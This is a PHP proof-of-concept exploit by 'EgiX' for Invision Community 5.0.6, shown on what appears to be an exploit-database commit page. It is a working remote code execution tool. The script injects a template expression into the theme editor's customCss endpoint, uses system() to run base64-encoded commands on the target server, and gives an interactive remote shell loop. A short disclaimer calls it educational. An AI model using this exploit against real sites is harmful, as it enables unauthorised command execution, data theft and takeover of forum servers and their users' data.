8bc45b368a
4 changes to exploits/shellcodes/ghdb Zyxel USG FLEX H series uOS 1.31 - Privilege Escalation CrushFTP 11.3.1 - Authentication Bypass Invision Community 5.0.6 - Remote Code Execution (RCE)
56 lines
No EOL
2 KiB
PHP
56 lines
No EOL
2 KiB
PHP
<?php
|
|
|
|
|
|
/*
|
|
---------------------------------------------------------------------------
|
|
Exploit Title: Invision Community 5.0.6 - Remote Code Execution (RCE)
|
|
---------------------------------------------------------------------------
|
|
|
|
author..............: Egidio Romano aka EgiX
|
|
mail................: n0b0d13s[at]gmail[dot]com
|
|
software link.......: https://invisioncommunity.com
|
|
|
|
+-------------------------------------------------------------------------+
|
|
| This proof of concept code was written for educational purpose only. |
|
|
| Use it at your own risk. Author will be not responsible for any damage. |
|
|
+-------------------------------------------------------------------------+
|
|
|
|
[-] Original Advisory:
|
|
|
|
https://karmainsecurity.com/KIS-2025-02
|
|
*/
|
|
|
|
set_time_limit(0);
|
|
error_reporting(E_ERROR);
|
|
|
|
print "\n+-------------------------------------------------------------------+";
|
|
print "\n| Invision Community <= 5.0.6 Remote Code Execution Exploit by EgiX |";
|
|
print "\n+-------------------------------------------------------------------+\n";
|
|
|
|
if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n");
|
|
|
|
if ($argc != 2)
|
|
{
|
|
print "\nUsage......: php $argv[0] <URL>\n";
|
|
print "\nExample....: php $argv[0] http://localhost/invision/";
|
|
print "\nExample....: php $argv[0] https://invisioncommunity.com/\n\n";
|
|
die();
|
|
}
|
|
|
|
$ch = curl_init();
|
|
|
|
$params = ["app" => "core", "module" => "system", "controller" => "themeeditor", "do" => "customCss"];
|
|
|
|
curl_setopt($ch, CURLOPT_URL, $argv[1]);
|
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
|
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
|
|
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
|
|
|
|
while (1)
|
|
{
|
|
print "\ninvision-shell# ";
|
|
if (($cmd = trim(fgets(STDIN))) == "exit") break;
|
|
$params["content"] = sprintf("{expression=\"die('________'.system(base64_decode('%s')))\"}", base64_encode($cmd));
|
|
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
|
|
preg_match("/(.*)________/s", curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n");
|
|
} |